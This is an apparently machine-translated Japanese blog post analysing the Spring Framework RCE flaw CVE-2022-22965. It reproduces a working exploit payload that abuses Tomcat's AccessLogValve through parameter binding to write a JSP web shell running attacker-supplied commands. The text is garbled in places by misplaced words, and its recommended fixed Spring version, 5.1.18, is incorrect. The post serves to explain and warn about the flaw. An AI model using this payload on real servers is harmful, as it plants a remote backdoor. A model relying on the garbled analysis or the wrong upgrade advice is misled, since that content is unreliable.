Spring Framework RCE（CVE-2022–22965）分析

WebアプリケーションがSpringFrameworkを使用している場合は、注意が必要です。

この脆弱性（CVE-2022–22965）は、2022年3月31日にSpringの公式Webサイトで公開されました。1か月以上経過しており、多くの開発者が知らない可能性があります。Spring MVCアプリケーションがで実行されている場合、攻撃者はSpring MVCJDK9+のパラメーターバインディング機能を使用して、悪意のあるコードをターゲットプログラムに書き込み、侵入の目的を達成する可能性があります。

トリガー条件

JDK9以降で実行されています。
従来型としてパッケージ化され、のWARようなスタンドアロンサーブレットコンテナにデプロイされApache Tomcatます。
spring-webmvcが使用され、データバインディング関数が使用されます。

この脆弱性の理由の1つは、エンタープライズJava開発者によく知られているSpringのデータバインディング関数です。データバインディングは、データバインディングの有無にかかわらず、注釈が付けられたコントローラーメソッドパラメーターに使用されます@ModelAttribute。Springはこの関数を使用して、HTTPリクエストパラメータ（クエリパラメータまたはフォームデータ）を解析し、オブジェクトにデータを入力します。ここで、例を使用してこの脆弱性を再現します。

通常の状態で、通常のパラメータを設定してリクエストすると、希望/testする結果が返されますが、リクエストするフォームが次のパラメータである場合は注意が必要です。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

脆弱性分析

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp例としてパラメータを取り上げます。パラメータをスプリングする場合、区切り文字を使用して.パラメータを再帰的に解決します。最後の参照サフィックスに解決されると、Tomcat.jspのオブジェクト属性に値を挿入できます。Accesslogvalveパラメータバインディング解析チェーン全体を以下に示します。

User.getClass()
  java.lang.Class.getModule()
   java.lang.Module.getClassLoader()
 org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
      org.apache.catalina.webresources.StandardRoot.getContext()
        org.apache.catalina.core.StandardContext.getParent()
           org.apache.catalina.core.StandardHost.getPipeline()
             org.apache.catalina.core.StandardPipeline.getFirst()
               org.apache.catalina.valves.AccessLogValve.setSuffix()

この脆弱性は非常に致命的ですが、マイクロサービスの人気とスプリングブート埋め込みWebコンテナの利便性により、Tomcatコンテナで実行するために戦争を使用する人はほとんどいないため、脆弱性の影響は限定的です。ただし、jdk9 +を使用していて、WebシステムがにデプロイされているApache Tomcat場合は、Tomcatバージョンをにアップグレードする9.0.62か、Springバージョンをにアップグレードすることをお勧めします5.1.18。

読んでくれてありがとう。